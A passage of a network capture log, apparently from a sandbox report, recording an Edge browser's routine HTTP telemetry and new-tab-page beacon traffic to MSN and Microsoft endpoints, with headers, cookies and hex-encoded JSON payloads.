{"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:20.932Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":16,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:22 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=85671879d4444c7888f8e440e95a755a&HASH=8567&LV=202501&V=4&LU=1736349562588; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:22 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d2b1e25379af4378bd85d8352c763813; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:22 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1654 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	50352	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:22 UTC	1007	OUT	GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:23 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C85776F55D4C49EAB967DE97B8EEA721 Ref B: CHI30EDGE0415 Ref C: 2025-01-08T15:19:23Z Date: Wed, 08 Jan 2025 15:19:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	51760	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:25 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349563952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8985 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:25 UTC	8985	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 32 33 2e 39 35 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:23.951Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":17,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:25 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=802cdfa69c934d26adb0cb7663d056a5&HASH=802c&LV=202501&V=4&LU=1736349565607; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:25 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3e6d54f31d884c34965eea9d49e40280; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:25 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1655 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	62912	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:26 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349564467&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8685 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:26 UTC	8685	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 32 34 2e 34 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 38 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:24.467Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":18,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=59f4c651582b41fbab4b8c653ff36953&HASH=59f4&LV=202501&V=4&LU=1736349566171; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=db160a43bce94ff4811a676745223280; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1704 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	60363	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:28 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349566946&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9241 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:28 UTC	9241	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 32 36 2e 39 34 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 39 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:26.946Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":19,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:28 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5add3ea280314054827e017fa94a81f8&HASH=5add&LV=202501&V=4&LU=1736349568593; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:28 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0ba7d9e9820f43e1b160e6918eb96241; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:28 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1647 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	63676	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:31 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349569951&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9231 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:31 UTC	9231	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 32 39 2e 39 35 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 30 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:29.950Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":20,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=68af5c6565df4350ae51c92355d147f2&HASH=68af&LV=202501&V=4&LU=1736349571601; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:31 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d898b33070244edcbb054a9e75c09525; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:31 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1650 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	57751	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:34 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349572936&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9239 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:34 UTC	9239	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 33 32 2e 39 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:32.935Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":21,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:34 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b7db3f1defcc4b588f6577054a98d224&HASH=b7db&LV=202501&V=4&LU=1736349574661; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:34 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9d139f5add684eb19482f9a45a074fe5; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:34 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1725 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.20	65163	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:37 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349575966&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9241 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:37 UTC	9241	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 33 35 2e 39 36 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:35.965Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":22,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:37 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e2c25e5b6b814563a42090e987d7ff96&HASH=e2c2&LV=202501&V=4&LU=1736349577627; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ae274d9cae9d4855839bffa25e0c1c62; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1661 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.11.20	52412	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:40 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349578941&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9241 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
